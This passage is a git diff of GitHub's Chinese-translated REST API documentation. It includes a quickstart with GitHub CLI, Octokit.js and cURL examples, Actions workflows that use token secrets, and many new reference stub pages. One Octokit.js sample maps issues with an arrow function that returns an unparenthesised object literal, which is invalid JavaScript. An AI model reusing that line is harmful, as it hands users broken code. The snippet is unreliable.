workflow_dispatch: +jobs: + track_pr: + runs-on: ubuntu-latest + steps: + - name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} + + - name: Use API + env: + GH_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + run: | + gh api repos/octocat/Spoon-Knife/issues +``` + +{% endcli %} + +{% javascript %} + +## 开始使用 JavaScript + +可以在 JavaScript 脚本中使用 Octokit.js 与 {% data variables.product.prodname_dotcom %} REST API 进行交互。 有关详细信息,请参阅 [Octokit.js 自述文件](https://github.com/octokit/octokit.js/#readme)。 + +### 使用 Octokit.js + +1. 创建访问令牌。 例如,创建 {% data variables.product.pat_generic %} 或 {% data variables.product.prodname_github_app %} 用户到服务器访问令牌。 有关详细信息,请参阅“[创建 {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)”或“[识别和授权 GitHub 应用的用户](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)”。 + + {% warning %} + + 警告:将访问令牌视为密码。 + + 若要确保令牌安全,可以将令牌存储为机密,并通过 {% data variables.product.prodname_actions %} 运行脚本。 有关详细信息,请参阅“[在 {% data variables.product.prodname_actions %} 中使用 Octokit.js](#using-octokitjs-in-github-actions)”部分。 + + {%- ifversion fpt or ghec %} + + 还可以将令牌存储为 {% data variables.product.prodname_codespaces %} 机密,并在 {% data variables.product.prodname_codespaces %} 中运行脚本。 有关详细信息,请参阅“[管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)。”{% endif %} + + 如果无法使用这些选项,请考虑使用其他服务(如 [1Password CLI](https://developer.1password.com/docs/cli/secret-references/))安全地存储令牌。 + + {% endwarning %} + +1. 安装 `octokit`。 例如,`npm install octokit`。 有关安装或加载 `octokit` 的其他方式,请参阅 [Octokit.js 自述文件](https://github.com/octokit/octokit.js/#readme)。 +1. 在脚本中导入 `octokit`。 例如,`import { Octokit } from "octokit";`。 有关导入 `octokit` 的其他方式,请参阅 [Octokit.js 自述文件](https://github.com/octokit/octokit.js/#readme)。 +1. 使用密钥创建 `Octokit` 的实例。 将 `YOUR-TOKEN` 替换为你的令牌。 + + ```javascript + const octokit = new Octokit({ + auth: 'YOUR-TOKEN' + }); + ``` + +1. 使用 `octokit.request` 执行请求。 将 HTTP 方法和路径作为第一个参数发送。 将对象中的任何路径、查询和正文参数指定为第二个参数。 例如,在以下请求中,HTTP 方法为 `GET`,路径为 `/repos/{owner}/{repo}/issues`,参数为 `owner: "octocat"` 和 `repo: "Spoon-Knife"`。 + + ```javascript + await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + }); + ``` + +### 在 {% data variables.product.prodname_actions %} 中使用 Octokit.js + +还可以在 {% data variables.product.prodname_actions %} 工作流中执行 JavaScript 脚本。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)”。 + +{% data variables.product.prodname_dotcom %} 建议使用内置 `GITHUB_TOKEN`,而不是创建令牌。 如果无法执行此操作,请将令牌存储为机密,并将以下示例中的 `GITHUB_TOKEN` 替换为机密的名称。 有关 `GITHUB_TOKEN` 的详细信息,请参阅“[自动令牌身份验证](/actions/security-guides/automatic-token-authentication)”。 有关机密的详细信息,请参阅“[已加密的机密](/actions/security-guides/encrypted-secrets)”。 + +以下示例工作流: + +1. 签出存储库内容 +1. 设置 Node.js +1. 安装 `octokit` +1. 将 `GITHUB_TOKEN` 的值存储为名为 `TOKEN` 的环境变量,并运行 `.github/actions-scripts/use-the-api.mjs`(它可以将该环境变量作为 `process.env.TOKEN` 进行访问)。 + +示例工作流: + +```yaml +on: + workflow_dispatch: +jobs: + use_api_via_script: + runs-on: ubuntu-latest + permissions: + issues: read + steps: + - name: Check out repo content + uses: {% data reusables.actions.action-checkout %} + + - name: Setup Node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '16.17.0' + cache: npm + + - name: Install dependencies + run: npm install octokit + + - name: Run script + run: | + node .github/actions-scripts/use-the-api.mjs + env: + TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` + +文件路径为 `.github/actions-scripts/use-the-api.mjs` 的示例 JavaScript 脚本: + +```javascript +import { Octokit } from "octokit" + +const octokit = new Octokit({ + auth: process.env.TOKEN +}); + +try { + const result = await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + }); + + const titleAndAuthor = result.data.map(issue => {title: issue.title, authorID: issue.user.id}) + + console.log(titleAndAuthor) + +} catch (error) { + console.log(`Error! Status: ${error.status}. Message: ${error.response.data.message}`) +} +``` + +如果使用 {% data variables.product.prodname_github_app %} 进行身份验证,则可以在工作流中创建安装访问令牌: + +1. 将 {% data variables.product.prodname_github_app %} 的 ID 作为机密进行存储。 在以下示例中,将 `APP_ID` 替换为机密的名称。 您可以在应用的设置页面上或通过应用 API 找到应用 ID。 有关详细信息,请参阅“[应用](/rest/apps/apps#get-an-app)”。 有关机密的详细信息,请参阅“[已加密的机密](/actions/security-guides/encrypted-secrets)”。 +1. 为应用生成私钥。 将所生成文件的内容作为机密进行存储。 (存储文件的全部内容,包括 `-----BEGIN RSA PRIVATE KEY-----` 和 `-----END RSA PRIVATE KEY-----`。)在以下示例中,将 `APP_PEM` 替换为机密的名称。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_github_apps %} 进行身份验证](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)”。 +1. 添加用于生成令牌的步骤,并使用该令牌而不是 `GITHUB_TOKEN`。 请注意,此令牌会在 60 分钟后过期。 例如: + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +on: + workflow_dispatch: +jobs: + use_api_via_script: + runs-on: ubuntu-latest + steps: + - name: Check out repo content + uses: {% data reusables.actions.action-checkout %} + + - name: Setup Node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '16.17.0' + cache: npm + + - name: Install dependencies + run: npm install octokit + + - name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} + + - name: Run script + run: | + node .github/actions-scripts/use-the-api.mjs + env: + TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} +``` + +{% endjavascript %} + +{% curl %} + +## 开始使用 cURL + +### 在命令行中使用 cURL + +{% note %} + +注意:如果要从命令行发出 API 请求,{% data variables.product.prodname_dotcom %} 建议使用 {% data variables.product.prodname_cli %},这可简化身份验证和请求。 有关通过 {% data variables.product.prodname_cli %} 开始使用 REST API 的详细信息,请参阅本文的 {% data variables.product.prodname_cli %} 版本。 + +{% endnote %} + +1. 如果计算机上尚未安装 cURL,请安装 cURL。 若要检查是否安装了 cURL,请在命令行中执行 `curl --version`。 如果输出是有关 cURL 版本的信息,则 cURL 已安装。 如果收到类似于 `command not found: curl` 的消息,则需要下载并安装 cURL。 有关详细信息,请参阅 [cURL 项目下载页面](https://curl.se/download.html)。 +1. 创建访问令牌。 例如,创建 {% data variables.product.pat_generic %} 或 {% data variables.product.prodname_github_app %} 用户到服务器访问令牌。 有关详细信息,请参阅“[创建 {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)”或“[识别和授权 GitHub 应用的用户](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)”。 + + {% warning %} + + 警告:将访问令牌视为密码。 + + {%- ifversion fpt or ghec %} + + 若要确保令牌安全,可以将令牌存储为 {% data variables.product.prodname_codespaces %} 机密,并通过 {% data variables.product.prodname_codespaces %} 使用命令行。 有关详细信息,请参阅“[管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)。”{% endif %} + + 还可以使用 {% data variables.product.prodname_cli %},而不是 cURL。 {% data variables.product.prodname_cli %} 会为你处理身份验证。 有关详细信息,请参阅此页面的 {% data variables.product.prodname_cli %} 版本。 + + 如果无法使用这些选项,请考虑使用其他服务(如 [1Password CLI](https://developer.1password.com/docs/cli/secret-references/))安全地存储令牌。 + + {% endwarning %} + +1. 使用 `cURL` 命令发出请求。 在 `Authorization` 标头中传递令牌。 将 `YOUR-TOKEN` 替换为你的令牌。 + + ```shell + curl --request GET \ + --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ + --header "Accept: application/vnd.github+json" \ + --header "Authorization: Bearer YOUR-TOKEN" + ``` + + {% note %} + + 注意:{% data reusables.getting-started.bearer-vs-token %} + + {% endnote %} + +### 在 {% data variables.product.prodname_actions %} 中使用 cURL + +还可以在 {% data variables.product.prodname_actions %} 工作流中使用 cURL。 + +{% data variables.product.prodname_dotcom %} 建议使用内置 `GITHUB_TOKEN`,而不是创建令牌。 如果无法执行此操作,请将令牌存储为机密,并将以下示例中的 `GITHUB_TOKEN` 替换为机密的名称。 有关 `GITHUB_TOKEN` 的详细信息,请参阅“[自动令牌身份验证](/actions/security-guides/automatic-token-authentication)”。 有关机密的详细信息,请参阅“[已加密的机密](/actions/security-guides/encrypted-secrets)”。 + +```yaml +on: + workflow_dispatch: +jobs: + use_api: + runs-on: ubuntu-latest + permissions: + issues: read + steps: + - env: + GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + run: | + curl --request GET \ + --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ + --header "Accept: application/vnd.github+json" \ + --header "Authorization: Bearer $GH_TOKEN" +``` + +如果使用 {% data variables.product.prodname_github_app %} 进行身份验证,则可以在工作流中创建安装访问令牌: + +1. 将 {% data variables.product.prodname_github_app %} 的 ID 作为机密进行存储。 在以下示例中,将 `APP_ID` 替换为机密的名称。 您可以在应用的设置页面上或通过应用 API 找到应用 ID。 有关详细信息,请参阅“[应用](/rest/apps/apps#get-an-app)”。 有关机密的详细信息,请参阅“[已加密的机密](/actions/security-guides/encrypted-secrets)”。 +1. 为应用生成私钥。 将所生成文件的内容作为机密进行存储。 (存储文件的全部内容,包括 `-----BEGIN RSA PRIVATE KEY-----` 和 `-----END RSA PRIVATE KEY-----`。)在以下示例中,将 `APP_PEM` 替换为机密的名称。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_github_apps %} 进行身份验证](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)”。 +1. 添加用于生成令牌的步骤,并使用该令牌而不是 `GITHUB_TOKEN`。 请注意,此令牌会在 60 分钟后过期。 例如: + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +on: + workflow_dispatch: +jobs: + use_api: + runs-on: ubuntu-latest + steps: + - name: Generate token + id: generate_token + uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0 + with: + app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %} + private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %} + + - name: Use API + env: + GH_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} + run: | + curl --request GET \ + --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ + --header "Accept: application/vnd.github+json" \ + --header "Authorization: Bearer $GH_TOKEN" +``` + +{% endcurl %} + +## 后续步骤 + +有关更详细的指南,请参阅“[REST API 入门](/rest/guides/getting-started-with-the-rest-api)”。 diff --git a/translations/zh-CN/content/rest/rate-limit.md b/translations/zh-CN/content/rest/rate-limit.md index 4244913506..4712cb6366 100644 --- a/translations/zh-CN/content/rest/rate-limit.md +++ b/translations/zh-CN/content/rest/rate-limit.md @@ -1,6 +1,6 @@ --- title: 速率限制 -intro: 使用速率限制 API,可以检查各种 REST API 的当前速率限制状态。 +intro: 使用 REST API 检查当前速率限制状态。 versions: fpt: '*' ghes: '*' @@ -11,29 +11,25 @@ topics: miniTocMaxHeadingLevel: 3 redirect_from: - /rest/reference/rate-limit -ms.openlocfilehash: 282b7e7bbb947256ccad4950b6a17d8874044d8f -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: a609d339af2201bba5ec12044a8eebe733013cea +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147081046' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193212' --- -## 关于速率限制 API +## 关于速率限制 -REST API 概述文档介绍了[速率限制规则](/rest/overview/resources-in-the-rest-api#rate-limiting)。 您可以随时使用下面描述的速率限制 API 来检查您当前的速率限制状态。 +你可以在任何时候检查当前的速率限制状态。 有关速率限制规则的详细信息,请参阅“[REST API 中的资源](/rest/overview/resources-in-the-rest-api#rate-limiting)”。 -### 了解您的速率限制状态 - -搜索 API 具有[自定义速率限制](/rest/reference/search#rate-limit),与管理 REST API 其余部分的速率限制不同。 GraphQL API 也有[自定义速率限制](/graphql/overview/resource-limitations#rate-limit),它与 REST API 中的速率限制不同且计算方式也不同。 - -出于这些原因,速率限制 API 响应对速率限制进行分类。 在 `resources` 下,你将看到四个对象: +用于搜索项的 REST API 具有自定义速率限制,与控制其他 REST API 终结点的速率限制不同。 有关详细信息,请参阅“[搜索](/rest/search)”。 GraphQL API 也有自定义速率限制,它与 REST API 中的速率限制不同且计算方式也不同。 有关详细信息,请参阅“[资源限制](/graphql/overview/resource-limitations#rate-limit)”。 出于这些原因,API 响应会对速率限制进行分类。 在 `resources` 下,你将看到与不同类别相关的对象: * `core` 对象提供 REST API 中所有非搜索相关资源的速率限制状态。 -* `search` 对象提供[搜索 API](/rest/reference/search) 的速率限制状态。 +* `search` 对象提供用于搜索的 REST API 的速率限制状态。 -* `graphql` 对象提供 [GraphQL API](/graphql) 的速率限制状态。 +* `graphql` 对象提供 GraphQL API 的速率限制状态。 -* `integration_manifest` 对象提供 [GitHub 应用部件清单代码转换](/apps/building-github-apps/creating-github-apps-from-a-manifest/#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration)终结点的速率限制状态。 +* `integration_manifest` 对象提供 `POST /app-manifests/{code}/conversions` 操作的速率限制状态。 有关详细信息,请参阅“[通过清单创建 GitHub 应用](/apps/building-github-apps/creating-github-apps-from-a-manifest/#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration)”。 有关速率限制响应中的标头和值的详细信息,请参阅“[REST API 中的资源](/rest/overview/resources-in-the-rest-api#rate-limit-http-headers)”。 diff --git a/translations/zh-CN/content/rest/reactions.md b/translations/zh-CN/content/rest/reactions.md index a3a3c1be43..7a710c1829 100644 --- a/translations/zh-CN/content/rest/reactions.md +++ b/translations/zh-CN/content/rest/reactions.md @@ -1,6 +1,6 @@ --- -title: Reactions -intro: 'Use the REST API to interact with reactions on {% data variables.product.prodname_dotcom %}.' +title: 反应 +intro: '使用 REST API 与 {% data variables.product.prodname_dotcom %} 上的反应进行交互。' versions: fpt: '*' ghes: '*' @@ -11,10 +11,15 @@ topics: miniTocMaxHeadingLevel: 3 redirect_from: - /rest/reference/reactions +ms.openlocfilehash: b6b8b10a28fdc48963fae6da931d9dd5b3af5a4d +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193246' --- +## 关于反应 -## About reactions - -You can create and manage reactions to comments, issues, pull requests, and discussions on {% data variables.product.prodname_dotcom %}. When creating a reaction, the allowed values for the `content` parameter are as follows (with the corresponding emoji for reference): +你可以创建和管理对 {% data variables.product.prodname_dotcom %} 上的评论、问题、拉取请求和讨论的反应。 创建反应时,`content` 参数的允许值如下(对应的表情符号供参考): {% data reusables.repositories.reaction_list %} diff --git a/translations/zh-CN/content/rest/reference/actions.md b/translations/zh-CN/content/rest/reference/actions.md new file mode 100644 index 0000000000..910f96ce15 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/actions.md @@ -0,0 +1,23 @@ +--- +title: 操作 +intro: With the Actions API, you can manage and control {% data variables.product.prodname_actions %} for an organization or repository. +redirect_from: +- /v3/actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 0983c3a238e75a1644df5d5c24e9a6046064a8da +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507607" +--- + diff --git a/translations/zh-CN/content/rest/reference/activity.md b/translations/zh-CN/content/rest/reference/activity.md new file mode 100644 index 0000000000..fe3daa0201 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/activity.md @@ -0,0 +1,23 @@ +--- +title: 活动 +intro: The Activity API allows you to list events and feeds and manage notifications, starring, and watching for the authenticated user. +redirect_from: +- /v3/activity +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 17f88e0305379c47fe7b2021adb84014009d560b +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507606" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/apps.md b/translations/zh-CN/content/rest/reference/apps.md new file mode 100644 index 0000000000..805024bf01 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/apps.md @@ -0,0 +1,23 @@ +--- +title: 应用 +intro: The GitHub Apps API enables you to retrieve the information about the installation as well as specific information about GitHub Apps. +redirect_from: +- /v3/apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 3306bedba9dcaedc162513162dca3d7b5bea8ead +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507605" +--- + diff --git a/translations/zh-CN/content/rest/reference/billing.md b/translations/zh-CN/content/rest/reference/billing.md new file mode 100644 index 0000000000..c2c8ca2665 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/billing.md @@ -0,0 +1,20 @@ +--- +title: 计费 +intro: With the Billing API, you can monitor the charges and usage {% data variables.product.prodname_actions %} and {% data variables.product.prodname_registry %} for a user or organization. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.4' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d6fa1c287f4d087554cd8e20fba25c7d9454f1cc +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507604" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/branches.md b/translations/zh-CN/content/rest/reference/branches.md new file mode 100644 index 0000000000..7df5a69afd --- /dev/null +++ b/translations/zh-CN/content/rest/reference/branches.md @@ -0,0 +1,22 @@ +--- +title: 分支 +intro: The branches API allows you to modify branches and their protection settings. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d85fe01f2dab7f4a87028a20c7cea8590b595c50 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507603" +--- + diff --git a/translations/zh-CN/content/rest/reference/checks.md b/translations/zh-CN/content/rest/reference/checks.md new file mode 100644 index 0000000000..3383419a04 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/checks.md @@ -0,0 +1,23 @@ +--- +title: 检查 +intro: With the Checks API, you can build {% data variables.product.prodname_github_apps %} that run powerful checks against the code changes in a repository. +redirect_from: +- /v3/checks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 1f1c694c92ee4be21c73dd51645d420594cf1da9 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506575" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/code-scanning.md b/translations/zh-CN/content/rest/reference/code-scanning.md new file mode 100644 index 0000000000..96a46d826b --- /dev/null +++ b/translations/zh-CN/content/rest/reference/code-scanning.md @@ -0,0 +1,27 @@ +--- +title: 代码扫描 +intro: The Code Scanning API enables you to retrieve and update the code scanning alerts and analyses from a repository. +redirect_from: +- /v3/code-scanning +product: '{% data reusables.gated-features.code-scanning %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: reference +topics: +- API +- Code scanning +- REST +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 979e6aac8aacf436cac20dacb53db105d2f2201f +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506574" +--- + diff --git a/translations/zh-CN/content/rest/reference/codes-of-conduct.md b/translations/zh-CN/content/rest/reference/codes-of-conduct.md new file mode 100644 index 0000000000..62f5a65536 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/codes-of-conduct.md @@ -0,0 +1,24 @@ +--- +title: 行为准则 +intro: The Codes of Conduct API lets you to retrieve the information about a particular repository's code of conduct. +redirect_from: +- /v3/codes_of_conduct +- /v3/codes-of-conduct +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: a89dc626c6273f1490a7f5dae062038090abc1fe +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506573" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/codespaces.md b/translations/zh-CN/content/rest/reference/codespaces.md new file mode 100644 index 0000000000..650456a86d --- /dev/null +++ b/translations/zh-CN/content/rest/reference/codespaces.md @@ -0,0 +1,20 @@ +--- +title: Codespaces +intro: The {% data variables.product.prodname_codespaces %} API enables you to manage your codespaces using the REST API. +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 77d86bed2e0135f8d873acf5a233e78c2beed2cb +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506572" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/collaborators.md b/translations/zh-CN/content/rest/reference/collaborators.md new file mode 100644 index 0000000000..151ae32aee --- /dev/null +++ b/translations/zh-CN/content/rest/reference/collaborators.md @@ -0,0 +1,22 @@ +--- +title: 协作者 +intro: The collaborators API allows you to add, invite, and remove collaborators from a repository. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: c0f5f0b54f063f7911c42218b960551ab6c0ff7b +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506571" +--- + diff --git a/translations/zh-CN/content/rest/reference/commits.md b/translations/zh-CN/content/rest/reference/commits.md new file mode 100644 index 0000000000..3f1288fcda --- /dev/null +++ b/translations/zh-CN/content/rest/reference/commits.md @@ -0,0 +1,22 @@ +--- +title: 提交 +intro: The commits API allows you to list, view, and compare commits in a repository. You can also interact with commit comments and commit statuses. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 21e4a3871bfe907847b47b189a613e5a409d26d8 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141509026" +--- + diff --git a/translations/zh-CN/content/rest/reference/dependabot.md b/translations/zh-CN/content/rest/reference/dependabot.md new file mode 100644 index 0000000000..6805a45473 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/dependabot.md @@ -0,0 +1,20 @@ +--- +title: Dependabot +intro: With the {% data variables.product.prodname_dependabot %} Secrets API, you can manage and control {% data variables.product.prodname_dependabot %} secrets for an organization or repository. +versions: + fpt: '*' + ghes: '>=3.4' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d377638367ff934f46596b82ce51c2a1414bc0a4 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141509025" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/dependency-graph.md b/translations/zh-CN/content/rest/reference/dependency-graph.md new file mode 100644 index 0000000000..42742b64f7 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/dependency-graph.md @@ -0,0 +1,21 @@ +--- +title: 依赖关系图 +intro: With the Dependency Graph API, you can view dependency changes and their security impact on your repository. +versions: + fpt: '*' + ghes: '>=3.6' + ghec: '*' + ghae: issue-6396 +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 9a2a033b851e80edf559c07ff2ef3cb3331b9df4 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506815" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/deployments.md b/translations/zh-CN/content/rest/reference/deployments.md new file mode 100644 index 0000000000..926f0cbb81 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/deployments.md @@ -0,0 +1,22 @@ +--- +title: 部署 +intro: The deployments API allows you to create and delete deployments and deployment environments. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: c7231e975e8ea1739db75e093b307396a41c957a +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506814" +--- + diff --git a/translations/zh-CN/content/rest/reference/emojis.md b/translations/zh-CN/content/rest/reference/emojis.md new file mode 100644 index 0000000000..578e3fe185 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/emojis.md @@ -0,0 +1,24 @@ +--- +title: 表情符号 +intro: With the Emojis API, you can list and view all the available emojis to use in {% data variables.product.product_name %}. +redirect_from: +- /v3/emojis +- /v3/misc +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 81c3ebeb722ec168b2f5def55d5933add19c30ac +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141503079" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/enterprise-admin.md b/translations/zh-CN/content/rest/reference/enterprise-admin.md new file mode 100644 index 0000000000..18d5abe01c --- /dev/null +++ b/translations/zh-CN/content/rest/reference/enterprise-admin.md @@ -0,0 +1,26 @@ +--- +title: GitHub Enterprise 管理 +intro: You can use these endpoints to administer your enterprise. +allowTitleToDifferFromFilename: true +redirect_from: +- /v3/enterprise-admin +- /v3/enterprise +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +shortTitle: Enterprise administration +ms.openlocfilehash: 2967b4278e163320eb6128ff739ed6953dacee0f +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508597" +--- + diff --git a/translations/zh-CN/content/rest/reference/gists.md b/translations/zh-CN/content/rest/reference/gists.md new file mode 100644 index 0000000000..772558ce6d --- /dev/null +++ b/translations/zh-CN/content/rest/reference/gists.md @@ -0,0 +1,23 @@ +--- +title: Gists +intro: The Gists API enables the authorized user to list, create, update and delete the public gists on {% data variables.product.product_name %}. +redirect_from: +- /v3/gists +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 672b07c89bb5331a6c8b50e6f27d231d93c9782b +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508752" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/git.md b/translations/zh-CN/content/rest/reference/git.md new file mode 100644 index 0000000000..95d7434ed9 --- /dev/null +++ 